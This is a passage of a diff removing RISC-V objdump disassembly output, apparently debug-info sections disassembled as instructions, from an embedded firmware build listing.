-     90c:	1f62                	slli	t5,t5,0x38
-     90e:	2040                	fld	fs0,128(s0)
-     910:	2034                	fld	fa3,64(s0)
-     912:	2040                	fld	fs0,128(s0)
-     914:	0005                	c.nop	1
-     916:	0079                	c.nop	30
-     918:	2540                	fld	fs0,136(a0)
-     91a:	349f 4020 4120      	0x41204020349f
-     920:	4020                	lw	s0,64(s0)
-     922:	0120                	addi	s0,sp,136
-     924:	5c00                	lw	s0,56(s0)
-     926:	2041                	jal	9a6 <__stack_size+0x1a6>
-     928:	2040                	fld	fs0,128(s0)
-     92a:	205c                	fld	fa5,128(s0)
-     92c:	2040                	fld	fs0,128(s0)
-     92e:	0005                	c.nop	1
-     930:	0079                	c.nop	30
-     932:	2540                	fld	fs0,136(a0)
-     934:	009f 0000 0000      	0x9f
-     93a:	0000                	unimp
-     93c:	6e00                	flw	fs0,24(a2)
-     93e:	401f 7020 401f      	0x401f7020401f
-     944:	0120                	addi	s0,sp,136
-     946:	5a00                	lw	s0,48(a2)
-     948:	1f70                	addi	a2,sp,956
-     94a:	2040                	fld	fs0,128(s0)
-     94c:	2064                	fld	fs1,192(s0)
-     94e:	2040                	fld	fs0,128(s0)
-     950:	0001                	nop
-     952:	0065                	c.nop	25
-     954:	0000                	unimp
-     956:	0000                	unimp
-     958:	0000                	unimp
-     95a:	7a00                	flw	fs0,48(a2)
-     95c:	401f 7c20 401f      	0x401f7c20401f
-     962:	0120                	addi	s0,sp,136
-     964:	5a00                	lw	s0,48(a2)
-     966:	1f7c                	addi	a5,sp,956
-     968:	2040                	fld	fs0,128(s0)
-     96a:	20401fa3          	sh	tp,543(zero) # 21f <__stack_size-0x5e1>
-     96e:	0001                	nop
-     970:	a35c                	fsd	fa5,128(a4)
-     972:	401f 5620 4020      	0x40205620401f
-     978:	0320                	addi	s0,sp,392
-     97a:	9100                	0x9100
-     97c:	7edc                	flw	fa5,60(a3)
-	...
-     986:	1f86                	slli	t6,t6,0x21
-     988:	2040                	fld	fs0,128(s0)
-     98a:	1f88                	addi	a0,sp,1008
-     98c:	2040                	fld	fs0,128(s0)
-     98e:	0001                	nop
-     990:	885a                	mv	a6,s6
-     992:	401f 6020 4020      	0x40206020401f
-     998:	0120                	addi	s0,sp,136
-     99a:	6300                	flw	fs0,0(a4)
-	...
-     9a4:	1f92                	slli	t6,t6,0x24
-     9a6:	2040                	fld	fs0,128(s0)
-     9a8:	1f9e                	slli	t6,t6,0x27
-     9aa:	2040                	fld	fs0,128(s0)
-     9ac:	0001                	nop
-     9ae:	9e5a                	add	t3,t3,s6
-     9b0:	401f 6220 4020      	0x40206220401f
-     9b6:	0120                	addi	s0,sp,136
-     9b8:	6400                	flw	fs0,8(s0)
-	...
-     9c2:	1e06                	slli	t3,t3,0x21
-     9c4:	2040                	fld	fs0,128(s0)
-     9c6:	1e26                	slli	t3,t3,0x29
-     9c8:	2040                	fld	fs0,128(s0)
-     9ca:	0002                	c.slli64	zero
-     9cc:	9f30                	0x9f30
-	...
-     9d6:	1e30                	addi	a2,sp,824
-     9d8:	2040                	fld	fs0,128(s0)
-     9da:	1e38                	addi	a4,sp,824
-     9dc:	2040                	fld	fs0,128(s0)
-     9de:	0001                	nop
-     9e0:	385a                	fld	fa6,432(sp)
-     9e2:	401e                	0x401e
-     9e4:	8720                	0x8720
-     9e6:	401e                	0x401e
-     9e8:	0120                	addi	s0,sp,136
-     9ea:	5d00                	lw	s0,56(a0)
-	...
-     9f4:	1e3a                	slli	t3,t3,0x2e
-     9f6:	2040                	fld	fs0,128(s0)
-     9f8:	1e40                	addi	s0,sp,820
-     9fa:	2040                	fld	fs0,128(s0)
-     9fc:	0001                	nop
-     9fe:	405a                	0x405a
-     a00:	401e                	0x401e
-     a02:	5e20                	lw	s0,120(a2)
-     a04:	401e                	0x401e
-     a06:	0120                	addi	s0,sp,136
-     a08:	5c00                	lw	s0,56(s0)
-	...
-     a12:	1e4a                	slli	t3,t3,0x32
-     a14:	2040                	fld	fs0,128(s0)
-     a16:	1e52                	slli	t3,t3,0x34
-     a18:	2040                	fld	fs0,128(s0)
-     a1a:	0001                	nop
-     a1c:	525a                	lw	tp,180(sp)
-     a1e:	401e                	0x401e
-     a20:	5a20                	lw	s0,112(a2)
-     a22:	401e                	0x401e
-     a24:	0120                	addi	s0,sp,136
-     a26:	5e00                	lw	s0,56(a2)
-	...
-     a30:	1e52                	slli	t3,t3,0x34
-     a32:	2040                	fld	fs0,128(s0)
-     a34:	1e58                	addi	a4,sp,820
-     a36:	2040                	fld	fs0,128(s0)
-     a38:	0001                	nop
-     a3a:	005a                	c.slli	zero,0x16
-     a3c:	0000                	unimp
-     a3e:	0000                	unimp
-     a40:	0000                	unimp
-     a42:	9000                	0x9000
-     a44:	401e                	0x401e
-     a46:	a220                	fsd	fs0,64(a2)
-     a48:	401e                	0x401e
-     a4a:	0220                	addi	s0,sp,264
-     a4c:	3000                	fld	fs0,32(s0)
-     a4e:	009f 0000 0000      	0x9f
-     a54:	0000                	unimp
-     a56:	ac00                	fsd	fs0,24(s0)
-     a58:	4019                	c.li	zero,6
-     a5a:	ae20                	fsd	fs0,88(a2)
-     a5c:	4019                	c.li	zero,6
-     a5e:	0120                	addi	s0,sp,136
-     a60:	5a00                	lw	s0,48(a2)
-     a62:	19ae                	slli	s3,s3,0x2b
-     a64:	2040                	fld	fs0,128(s0)
-     a66:	19be                	slli	s3,s3,0x2f
-     a68:	2040                	fld	fs0,128(s0)
-     a6a:	0004                	0x4
-     a6c:	9f5a01f3          	0x9f5a01f3
-	...
-     a78:	19ae                	slli	s3,s3,0x2b
-     a7a:	2040                	fld	fs0,128(s0)
-     a7c:	19b8                	addi	a4,sp,248
-     a7e:	2040                	fld	fs0,128(s0)
-     a80:	0001                	nop
-     a82:	b85a                	fsd	fs6,48(sp)
-     a84:	4019                	c.li	zero,6
-     a86:	ba20                	fsd	fs0,112(a2)
-     a88:	4019                	c.li	zero,6
-     a8a:	0320                	addi	s0,sp,392
-     a8c:	f300                	fsw	fs0,32(a4)
-     a8e:	5a01                	li	s4,-32
-     a90:	19ba                	slli	s3,s3,0x2e
-     a92:	2040                	fld	fs0,128(s0)
-     a94:	19bc                	addi	a5,sp,248
-     a96:	2040                	fld	fs0,128(s0)
-     a98:	0001                	nop
-     a9a:	bc5a                	fsd	fs6,56(sp)
-     a9c:	4019                	c.li	zero,6
-     a9e:	be20                	fsd	fs0,120(a2)
-     aa0:	4019                	c.li	zero,6
-     aa2:	0320                	addi	s0,sp,392
-     aa4:	f300                	fsw	fs0,32(a4)
-     aa6:	5a01                	li	s4,-32
-	...
-     ab0:	1c96                	slli	s9,s9,0x25
-     ab2:	2040                	fld	fs0,128(s0)
-     ab4:	1e00                	addi	s0,sp,816
-     ab6:	2040                	fld	fs0,128(s0)
-     ab8:	0001                	nop
-     aba:	0059                	c.nop	22
-     abc:	0000                	unimp
-     abe:	0000                	unimp
-     ac0:	0000                	unimp
-     ac2:	b000                	fsd	fs0,32(s0)
-     ac4:	401c                	lw	a5,0(s0)
-     ac6:	0020                	addi	s0,sp,8
-     ac8:	401d                	c.li	zero,7
-     aca:	0120                	addi	s0,sp,136
-     acc:	5800                	lw	s0,48(s0)
-	...
-     ad6:	1d00                	addi	s0,sp,688
-     ad8:	2040                	fld	fs0,128(s0)
-     ada:	1dfe                	slli	s11,s11,0x3f
-     adc:	2040                	fld	fs0,128(s0)
-     ade:	0001                	nop
-     ae0:	0058                	addi	a4,sp,4
-     ae2:	0000                	unimp
-     ae4:	0000                	unimp
-     ae6:	0000                	unimp
-     ae8:	3400                	fld	fs0,40(s0)
-     aea:	401d                	c.li	zero,7
-     aec:	4120                	lw	s0,64(a0)
-     aee:	401d                	c.li	zero,7
-     af0:	0120                	addi	s0,sp,136
-     af2:	5c00                	lw	s0,56(s0)
-	...
-     afc:	1d46                	slli	s10,s10,0x31
-     afe:	2040                	fld	fs0,128(s0)
-     b00:	20401dbb          	0x20401dbb
-     b04:	0001                	nop
-     b06:	0000005b          	0x5b
-     b0a:	0000                	unimp
-     b0c:	0000                	unimp
-     b0e:	b000                	fsd	fs0,32(s0)
-     b10:	401d                	c.li	zero,7
-     b12:	bb20                	fsd	fs0,112(a4)
-     b14:	401d                	c.li	zero,7
-     b16:	0120                	addi	s0,sp,136
-     b18:	5c00                	lw	s0,56(s0)
-	...
-     b22:	1cbc                	addi	a5,sp,632
-     b24:	2040                	fld	fs0,128(s0)
-     b26:	1cc2                	slli	s9,s9,0x30
-     b28:	2040                	fld	fs0,128(s0)
-     b2a:	0002                	c.slli64	zero
-     b2c:	9f30                	0x9f30
-     b2e:	1cc2                	slli	s9,s9,0x30
-     b30:	2040                	fld	fs0,128(s0)
-     b32:	20401cfb          	0x20401cfb
-     b36:	0001                	nop
-     b38:	005f 0000 0000      	0x5f
-     b3e:	0000                	unimp
-     b40:	bc00                	fsd	fs0,56(s0)
-     b42:	401c                	lw	a5,0(s0)
-     b44:	c220                	sw	s0,64(a2)
-     b46:	401c                	lw	a5,0(s0)
-     b48:	0220                	addi	s0,sp,264
-     b4a:	3000                	fld	fs0,32(s0)
-     b4c:	c29f 401c d020      	0xd020401cc29f
-     b52:	401c                	lw	a5,0(s0)
-     b54:	0120                	addi	s0,sp,136
-     b56:	5e00                	lw	s0,56(a2)
-     b58:	1cd0                	addi	a2,sp,628
-     b5a:	2040                	fld	fs0,128(s0)
-     b5c:	1ce4                	addi	s1,sp,636
-     b5e:	2040                	fld	fs0,128(s0)
-     b60:	0001                	nop
-     b62:	e45d                	bnez	s0,c10 <__stack_size+0x410>
-     b64:	401c                	lw	a5,0(s0)
-     b66:	fb20                	fsw	fs0,112(a4)
-     b68:	401c                	lw	a5,0(s0)
-     b6a:	0120                	addi	s0,sp,136
-     b6c:	5e00                	lw	s0,56(a2)
-	...
-     b76:	1dc0                	addi	s0,sp,756
-     b78:	2040                	fld	fs0,128(s0)
-     b7a:	20401dcb          	fnmsub.s	fs11,ft0,ft4,ft4,rtz
-     b7e:	0001                	nop
-     b80:	0000005b          	0x5b
-     b84:	0000                	unimp
-     b86:	0000                	unimp
-     b88:	d000                	sw	s0,32(s0)
-     b8a:	401d                	c.li	zero,7
-     b8c:	db20                	sw	s0,112(a4)
-     b8e:	401d                	c.li	zero,7
-     b90:	0120                	addi	s0,sp,136
-     b92:	5b00                	lw	s0,48(a4)
-	...
-     b9c:	19f2                	slli	s3,s3,0x3c
-     b9e:	2040                	fld	fs0,128(s0)
-     ba0:	1ac2                	slli	s5,s5,0x30
-     ba2:	2040                	fld	fs0,128(s0)
-     ba4:	0001                	nop
-     ba6:	f459                	bnez	s0,b34 <__stack_size+0x334>
-     ba8:	401a                	0x401a
-     baa:	5a20                	lw	s0,112(a2)
-     bac:	401c                	lw	a5,0(s0)
-     bae:	0120                	addi	s0,sp,136
-     bb0:	5900                	lw	s0,48(a0)
-	...
-     bba:	19fe                	slli	s3,s3,0x3f
-     bbc:	2040                	fld	fs0,128(s0)
-     bbe:	1ac4                	addi	s1,sp,372
-     bc0:	2040                	fld	fs0,128(s0)
-     bc2:	0001                	nop
-     bc4:	f458                	fsw	fa4,44(s0)
-     bc6:	401a                	0x401a
-     bc8:	0620                	addi	s0,sp,776
-     bca:	0120401b          	0x120401b
-     bce:	5800                	lw	s0,48(s0)
-     bd0:	1b06                	slli	s6,s6,0x21
-     bd2:	2040                	fld	fs0,128(s0)
-     bd4:	1b08                	addi	a0,sp,432
-     bd6:	2040                	fld	fs0,128(s0)
-     bd8:	7c780003          	lb	zero,1991(a6)
-     bdc:	089f 401b 8c20      	0x8c20401b089f
-     be2:	0120401b          	0x120401b
-     be6:	5800                	lw	s0,48(s0)
-     be8:	1bd0                	addi	a2,sp,500
-     bea:	2040                	fld	fs0,128(s0)
-     bec:	1c52                	slli	s8,s8,0x34
-     bee:	2040                	fld	fs0,128(s0)
-     bf0:	0001                	nop
-     bf2:	0058                	addi	a4,sp,4
-     bf4:	0000                	unimp
-     bf6:	0000                	unimp
-     bf8:	0000                	unimp
-     bfa:	0c00                	addi	s0,sp,528
-     bfc:	401a                	0x401a
-     bfe:	4a20                	lw	s0,80(a2)
-     c00:	401a                	0x401a
-     c02:	0120                	addi	s0,sp,136
-     c04:	5a00                	lw	s0,48(a2)
-     c06:	1a4a                	slli	s4,s4,0x32
-     c08:	2040                	fld	fs0,128(s0)
-     c0a:	1a4c                	addi	a1,sp,308
-     c0c:	2040                	fld	fs0,128(s0)
-     c0e:	0001                	nop
-     c10:	4c5d                	li	s8,23
-     c12:	401a                	0x401a
-     c14:	5820                	lw	s0,112(s0)
-     c16:	401a                	0x401a
-     c18:	0120                	addi	s0,sp,136
-     c1a:	5a00                	lw	s0,48(a2)
-     c1c:	1a58                	addi	a4,sp,308
-     c1e:	2040                	fld	fs0,128(s0)
-     c20:	20401a5b          	0x20401a5b
-     c24:	0001                	nop
-     c26:	7e5d                	lui	t3,0xffff7
-     c28:	401a                	0x401a
-     c2a:	8a20                	0x8a20
-     c2c:	401a                	0x401a
-     c2e:	0120                	addi	s0,sp,136
-     c30:	5a00                	lw	s0,48(a2)
-     c32:	1a8a                	slli	s5,s5,0x22
-     c34:	2040                	fld	fs0,128(s0)
-     c36:	1a8c                	addi	a1,sp,368
-     c38:	2040                	fld	fs0,128(s0)
-     c3a:	0001                	nop
-     c3c:	8c5d                	or	s0,s0,a5
-     c3e:	401a                	0x401a
-     c40:	9820                	0x9820
-     c42:	401a                	0x401a
-     c44:	0120                	addi	s0,sp,136
-     c46:	5a00                	lw	s0,48(a2)
-     c48:	1a98                	addi	a4,sp,368
-     c4a:	2040                	fld	fs0,128(s0)
-     c4c:	1a9a                	slli	s5,s5,0x26
-     c4e:	2040                	fld	fs0,128(s0)
-     c50:	0001                	nop
-     c52:	9a5d                	andi	a2,a2,-9
-     c54:	401a                	0x401a
-     c56:	a620                	fsd	fs0,72(a2)
-     c58:	401a                	0x401a
-     c5a:	0120                	addi	s0,sp,136
-     c5c:	5a00                	lw	s0,48(a2)
-     c5e:	1aa6                	slli	s5,s5,0x29
-     c60:	2040                	fld	fs0,128(s0)
-     c62:	1aa8                	addi	a0,sp,376
-     c64:	2040                	fld	fs0,128(s0)
-     c66:	0001                	nop
-     c68:	a85d                	j	d1e <__stack_size+0x51e>
-     c6a:	401a                	0x401a
-     c6c:	b420                	fsd	fs0,104(s0)
-     c6e:	401a                	0x401a
-     c70:	0120                	addi	s0,sp,136
-     c72:	5a00                	lw	s0,48(a2)
-     c74:	1ab4                	addi	a3,sp,376
-     c76:	2040                	fld	fs0,128(s0)
-     c78:	20401ab7          	lui	s5,0x20401
-     c7c:	0001                	nop
-     c7e:	f45d                	bnez	s0,c2c <__stack_size+0x42c>
-     c80:	401a                	0x401a
-     c82:	0020                	addi	s0,sp,8
-     c84:	0120401b          	0x120401b
-     c88:	5a00                	lw	s0,48(a2)
-     c8a:	1b00                	addi	s0,sp,432
-     c8c:	2040                	fld	fs0,128(s0)
-     c8e:	20401b03          	lh	s6,516(zero) # 204 <__stack_size-0x5fc>
-     c92:	0001                	nop
-     c94:	085d                	addi	a6,a6,23
-     c96:	1420401b          	0x1420401b
-     c9a:	0120401b          	0x120401b
-     c9e:	5a00                	lw	s0,48(a2)
-     ca0:	1b14                	addi	a3,sp,432
-     ca2:	2040                	fld	fs0,128(s0)
-     ca4:	20401b17          	auipc	s6,0x20401
-     ca8:	0001                	nop
-     caa:	2c5d                	jal	f60 <__stack_size+0x760>
-     cac:	3820401b          	0x3820401b
-     cb0:	0120401b          	0x120401b
-     cb4:	5a00                	lw	s0,48(a2)
-     cb6:	1b38                	addi	a4,sp,440
-     cb8:	2040                	fld	fs0,128(s0)
-     cba:	1b3a                	slli	s6,s6,0x2e
-     cbc:	2040                	fld	fs0,128(s0)
-     cbe:	0001                	nop
-     cc0:	3a5d                	jal	676 <__stack_size-0x18a>
-     cc2:	4620401b          	0x4620401b
-     cc6:	0120401b          	0x120401b
-     cca:	5a00                	lw	s0,48(a2)
-     ccc:	1b46                	slli	s6,s6,0x31
-     cce:	2040                	fld	fs0,128(s0)
-     cd0:	1b48                	addi	a0,sp,436
-     cd2:	2040                	fld	fs0,128(s0)
-     cd4:	0001                	nop
-     cd6:	485d                	li	a6,23
-     cd8:	5420401b          	0x5420401b
-     cdc:	0120401b          	0x120401b
-     ce0:	5a00                	lw	s0,48(a2)
-     ce2:	1b54                	addi	a3,sp,436
-     ce4:	2040                	fld	fs0,128(s0)
-     ce6:	1b56                	slli	s6,s6,0x35
-     ce8:	2040                	fld	fs0,128(s0)
-     cea:	0001                	nop
-     cec:	565d                	li	a2,-9
-     cee:	6220401b          	0x6220401b
-     cf2:	0120401b          	0x120401b
-     cf6:	5a00                	lw	s0,48(a2)
-     cf8:	1b62                	slli	s6,s6,0x38
-     cfa:	2040                	fld	fs0,128(s0)
-     cfc:	1b64                	addi	s1,sp,444
-     cfe:	2040                	fld	fs0,128(s0)
-     d00:	0001                	nop
-     d02:	645d                	lui	s0,0x17
-     d04:	7220401b          	0x7220401b
-     d08:	0120401b          	0x120401b
-     d0c:	5a00                	lw	s0,48(a2)
-     d0e:	1b72                	slli	s6,s6,0x3c
-     d10:	2040                	fld	fs0,128(s0)
-     d12:	1b75                	addi	s6,s6,-3
-     d14:	2040                	fld	fs0,128(s0)
-     d16:	0001                	nop
-     d18:	755d                	lui	a0,0xffff7
-     d1a:	d020401b          	0xd020401b
-     d1e:	0320401b          	0x320401b
-     d22:	9100                	0x9100
-     d24:	7f9c                	flw	fa5,56(a5)
-     d26:	1bd0                	addi	a2,sp,500
-     d28:	2040                	fld	fs0,128(s0)
-     d2a:	1bde                	slli	s7,s7,0x37
-     d2c:	2040                	fld	fs0,128(s0)
-     d2e:	0001                	nop
-     d30:	de5a                	sw	s6,60(sp)
-     d32:	e120401b          	0xe120401b
-     d36:	0120401b          	0x120401b
-     d3a:	5d00                	lw	s0,56(a0)
-     d3c:	1be1                	addi	s7,s7,-8
-     d3e:	2040                	fld	fs0,128(s0)
-     d40:	1c3e                	slli	s8,s8,0x2f
-     d42:	2040                	fld	fs0,128(s0)
-     d44:	9c910003          	lb	zero,-1591(sp)
-     d48:	3e7f                	0x3e7f
-     d4a:	401c                	lw	a5,0(s0)
-     d4c:	4820                	lw	s0,80(s0)
-     d4e:	401c                	lw	a5,0(s0)
-     d50:	0120                	addi	s0,sp,136
-     d52:	5a00                	lw	s0,48(a2)
-     d54:	1c48                	addi	a0,sp,564
-     d56:	2040                	fld	fs0,128(s0)
-     d58:	20401c4f          	fnmadd.s	fs8,ft0,ft4,ft4,rtz
-     d5c:	0001                	nop
-     d5e:	005d                	c.nop	23
-     d60:	0000                	unimp
-     d62:	0000                	unimp
-     d64:	0000                	unimp
-     d66:	5200                	lw	s0,32(a2)
-     d68:	401c                	lw	a5,0(s0)
-     d6a:	6a20                	flw	fs0,80(a2)
-     d6c:	401c                	lw	a5,0(s0)
-     d6e:	0120                	addi	s0,sp,136
-     d70:	5800                	lw	s0,48(s0)
-     d72:	1c6a                	slli	s8,s8,0x3a
-     d74:	2040                	fld	fs0,128(s0)
-     d76:	1c6e                	slli	s8,s8,0x3b
-     d78:	2040                	fld	fs0,128(s0)
-     d7a:	0001                	nop
-     d7c:	6e5a                	flw	ft8,148(sp)
-     d7e:	401c                	lw	a5,0(s0)
-     d80:	8a20                	0x8a20
-     d82:	401c                	lw	a5,0(s0)
-     d84:	0120                	addi	s0,sp,136
-     d86:	5800                	lw	s0,48(s0)
-	...
-     d90:	2bc0                	fld	fs0,144(a5)
-     d92:	2040                	fld	fs0,128(s0)
-     d94:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     d98:	0001                	nop
-     d9a:	cf5a                	sw	s6,156(sp)
-     d9c:	1420402b          	0x1420402b
-     da0:	402c                	lw	a1,64(s0)
-     da2:	0420                	addi	s0,sp,520
-     da4:	f300                	fsw	fs0,32(a4)
-     da6:	5a01                	li	s4,-32
-     da8:	009f 0000 0000      	0x9f
-     dae:	0000                	unimp
-     db0:	c000                	sw	s0,0(s0)
-     db2:	cf20402b          	0xcf20402b
-     db6:	0120402b          	0x120402b
-     dba:	5b00                	lw	s0,48(a4)
-     dbc:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     dc0:	2be8                	fld	fa0,208(a5)
-     dc2:	2040                	fld	fs0,128(s0)
-     dc4:	0001                	nop
-     dc6:	e858                	fsw	fa4,20(s0)
-     dc8:	f020402b          	0xf020402b
-     dcc:	0420402b          	0x420402b
-     dd0:	f300                	fsw	fs0,32(a4)
-     dd2:	5b01                	li	s6,-32
-     dd4:	f09f 402b 1420      	0x1420402bf09f
-     dda:	402c                	lw	a1,64(s0)
-     ddc:	0120                	addi	s0,sp,136
-     dde:	5800                	lw	s0,48(s0)
-	...
-     de8:	2bc0                	fld	fs0,144(a5)
-     dea:	2040                	fld	fs0,128(s0)
-     dec:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     df0:	0001                	nop
-     df2:	cf5c                	sw	a5,28(a4)
-     df4:	e420402b          	0xe420402b
-     df8:	0120402b          	0x120402b
-     dfc:	5900                	lw	s0,48(a0)
-     dfe:	2be4                	fld	fs1,208(a5)
-     e00:	2040                	fld	fs0,128(s0)
-     e02:	2bf0                	fld	fa2,208(a5)
-     e04:	2040                	fld	fs0,128(s0)
-     e06:	0004                	0x4
-     e08:	9f5c01f3          	0x9f5c01f3
-     e0c:	2bf0                	fld	fa2,208(a5)
-     e0e:	2040                	fld	fs0,128(s0)
-     e10:	2c12                	fld	fs8,256(sp)
-     e12:	2040                	fld	fs0,128(s0)
-     e14:	0001                	nop
-     e16:	1259                	addi	tp,tp,-10
-     e18:	402c                	lw	a1,64(s0)
-     e1a:	1420                	addi	s0,sp,552
-     e1c:	402c                	lw	a1,64(s0)
-     e1e:	0420                	addi	s0,sp,520
-     e20:	f300                	fsw	fs0,32(a4)
-     e22:	5c01                	li	s8,-32
-     e24:	009f 0000 0000      	0x9f
-     e2a:	0000                	unimp
-     e2c:	e000                	fsw	fs0,0(s0)
-     e2e:	e420402b          	0xe420402b
-     e32:	0620402b          	0x620402b
-     e36:	7b00                	flw	fs0,48(a4)
-     e38:	7800                	flw	fs0,48(s0)
-     e3a:	1c00                	addi	s0,sp,560
-     e3c:	f09f 402b 0c20      	0xc20402bf09f
-     e42:	402c                	lw	a1,64(s0)
-     e44:	0620                	addi	s0,sp,776
-     e46:	7b00                	flw	fs0,48(a4)
-     e48:	7800                	flw	fs0,48(s0)
-     e4a:	1c00                	addi	s0,sp,560
-     e4c:	0c9f 402c 0e20      	0xe20402c0c9f
-     e52:	402c                	lw	a1,64(s0)
-     e54:	0820                	addi	s0,sp,24
-     e56:	7b00                	flw	fs0,48(a4)
-     e58:	7800                	flw	fs0,48(s0)
-     e5a:	1c00                	addi	s0,sp,560
-     e5c:	0e9f0123          	sb	s1,226(t5)
-     e60:	402c                	lw	a1,64(s0)
-     e62:	1020                	addi	s0,sp,40
-     e64:	402c                	lw	a1,64(s0)
-     e66:	0620                	addi	s0,sp,776
-     e68:	7b00                	flw	fs0,48(a4)
-     e6a:	7800                	flw	fs0,48(s0)
-     e6c:	1c00                	addi	s0,sp,560
-     e6e:	009f 0000 0000      	0x9f
-     e74:	0000                	unimp
-     e76:	8400                	0x8400
-     e78:	9320402b          	0x9320402b
-     e7c:	0120402b          	0x120402b
-     e80:	5a00                	lw	s0,48(a2)
-     e82:	20402b93          	slti	s7,zero,516
-     e86:	2bc0                	fld	fs0,144(a5)
-     e88:	2040                	fld	fs0,128(s0)
-     e8a:	0004                	0x4
-     e8c:	9f5a01f3          	0x9f5a01f3
-	...
-     e98:	2b84                	fld	fs1,16(a5)
-     e9a:	2040                	fld	fs0,128(s0)
-     e9c:	20402b93          	slti	s7,zero,516
-     ea0:	0001                	nop
-     ea2:	402b935b          	0x402b935b
-     ea6:	9c20                	0x9c20
-     ea8:	0120402b          	0x120402b
-     eac:	5800                	lw	s0,48(s0)
-     eae:	2b9c                	fld	fa5,16(a5)
-     eb0:	2040                	fld	fs0,128(s0)
-     eb2:	2ba6                	fld	fs7,72(sp)
-     eb4:	2040                	fld	fs0,128(s0)
-     eb6:	0006                	c.slli	zero,0x1
-     eb8:	0078                	addi	a4,sp,12
-     eba:	007a                	c.slli	zero,0x1e
-     ebc:	9f22                	add	t5,t5,s0
-     ebe:	2bb0                	fld	fa2,80(a5)
-     ec0:	2040                	fld	fs0,128(s0)
-     ec2:	2bba                	fld	fs7,392(sp)
-     ec4:	2040                	fld	fs0,128(s0)
-     ec6:	0008                	0x8
-     ec8:	0078                	addi	a4,sp,12
-     eca:	007a                	c.slli	zero,0x1e
-     ecc:	2322                	fld	ft6,8(sp)
-     ece:	9f01                	0x9f01
-     ed0:	2bba                	fld	fs7,392(sp)
-     ed2:	2040                	fld	fs0,128(s0)
-     ed4:	2bbc                	fld	fa5,80(a5)
-     ed6:	2040                	fld	fs0,128(s0)
-     ed8:	0006                	c.slli	zero,0x1
-     eda:	0078                	addi	a4,sp,12
-     edc:	007a                	c.slli	zero,0x1e
-     ede:	9f22                	add	t5,t5,s0
-     ee0:	2bbc                	fld	fa5,80(a5)
-     ee2:	2040                	fld	fs0,128(s0)
-     ee4:	2bc0                	fld	fs0,144(a5)
-     ee6:	2040                	fld	fs0,128(s0)
-     ee8:	0001                	nop
-     eea:	0058                	addi	a4,sp,4
-     eec:	0000                	unimp
-     eee:	0000                	unimp
-     ef0:	0000                	unimp
-     ef2:	8400                	0x8400
-     ef4:	9320402b          	0x9320402b
-     ef8:	0120402b          	0x120402b
-     efc:	5c00                	lw	s0,56(s0)
-     efe:	20402b93          	slti	s7,zero,516
-     f02:	2bac                	fld	fa1,80(a5)
-     f04:	2040                	fld	fs0,128(s0)
-     f06:	0001                	nop
-     f08:	ac59                	j	119e <__stack_size+0x99e>
-     f0a:	b020402b          	0xb020402b
-     f0e:	0420402b          	0x420402b
-     f12:	f300                	fsw	fs0,32(a4)
-     f14:	5c01                	li	s8,-32
-     f16:	b09f 402b c020      	0xc020402bb09f
-     f1c:	0120402b          	0x120402b
-     f20:	5900                	lw	s0,48(a0)
-	...
-     f2a:	2b9c                	fld	fa5,16(a5)
-     f2c:	2040                	fld	fs0,128(s0)
-     f2e:	2ba6                	fld	fs7,72(sp)
-     f30:	2040                	fld	fs0,128(s0)
-     f32:	0001                	nop
-     f34:	b05a                	fsd	fs6,32(sp)
-     f36:	bc20402b          	0xbc20402b
-     f3a:	0120402b          	0x120402b
-     f3e:	5a00                	lw	s0,48(a2)
-	...
-     f48:	2ba2                	fld	fs7,8(sp)
-     f4a:	2040                	fld	fs0,128(s0)
-     f4c:	2ba6                	fld	fs7,72(sp)
-     f4e:	2040                	fld	fs0,128(s0)
-     f50:	0001                	nop
-     f52:	b05f 402b bc20      	0xbc20402bb05f
-     f58:	0120402b          	0x120402b
-     f5c:	5f00                	lw	s0,56(a4)
-	...
-     f66:	2b54                	fld	fa3,144(a4)
-     f68:	2040                	fld	fs0,128(s0)
-     f6a:	20402b63          	0x20402b63
-     f6e:	0001                	nop
-     f70:	635a                	flw	ft6,148(sp)
-     f72:	8420402b          	0x8420402b
-     f76:	0420402b          	0x420402b
-     f7a:	f300                	fsw	fs0,32(a4)
-     f7c:	5a01                	li	s4,-32
-     f7e:	009f 0000 0000      	0x9f
-     f84:	0000                	unimp
-     f86:	5400                	lw	s0,40(s0)
-     f88:	5e20402b          	0x5e20402b
-     f8c:	0120402b          	0x120402b
-     f90:	5b00                	lw	s0,48(a4)
-     f92:	2b5e                	fld	fs6,464(sp)
-     f94:	2040                	fld	fs0,128(s0)
-     f96:	2b84                	fld	fs1,16(a5)
-     f98:	2040                	fld	fs0,128(s0)
-     f9a:	0004                	0x4
-     f9c:	9f5b01f3          	0x9f5b01f3
-	...
-     fa8:	2b54                	fld	fa3,144(a4)
-     faa:	2040                	fld	fs0,128(s0)
-     fac:	20402b63          	0x20402b63
-     fb0:	0001                	nop
-     fb2:	635c                	flw	fa5,4(a4)
-     fb4:	8420402b          	0x8420402b
-     fb8:	0420402b          	0x420402b
-     fbc:	f300                	fsw	fs0,32(a4)
-     fbe:	5c01                	li	s8,-32
-     fc0:	009f 0000 0000      	0x9f
-     fc6:	0000                	unimp
-     fc8:	5000                	lw	s0,32(s0)
-     fca:	5220402b          	0x5220402b
-     fce:	0120402b          	0x120402b
-     fd2:	5a00                	lw	s0,48(a2)
-     fd4:	2b52                	fld	fs6,272(sp)
-     fd6:	2040                	fld	fs0,128(s0)
-     fd8:	2b54                	fld	fa3,144(a4)
-     fda:	2040                	fld	fs0,128(s0)
-     fdc:	0004                	0x4
-     fde:	9f5a01f3          	0x9f5a01f3
-	...
-     fea:	2b4a                	fld	fs6,144(sp)
-     fec:	2040                	fld	fs0,128(s0)
-     fee:	2b4e                	fld	fs6,208(sp)
-     ff0:	2040                	fld	fs0,128(s0)
-     ff2:	0001                	nop
-     ff4:	4e5a                	lw	t3,148(sp)
-     ff6:	5020402b          	0x5020402b
-     ffa:	0420402b          	0x420402b
-     ffe:	f300                	fsw	fs0,32(a4)
-    1000:	5a01                	li	s4,-32
-    1002:	009f 0000 0000      	0x9f
-    1008:	0000                	unimp
-    100a:	2800                	fld	fs0,16(s0)
-    100c:	3020402b          	0x3020402b
-    1010:	0120402b          	0x120402b
-    1014:	5a00                	lw	s0,48(a2)
-    1016:	2b30                	fld	fa2,80(a4)
-    1018:	2040                	fld	fs0,128(s0)
-    101a:	2b36                	fld	fs6,328(sp)
-    101c:	2040                	fld	fs0,128(s0)
-    101e:	0001                	nop
-    1020:	365f 402b 4a20      	0x4a20402b365f
-    1026:	0420402b          	0x420402b
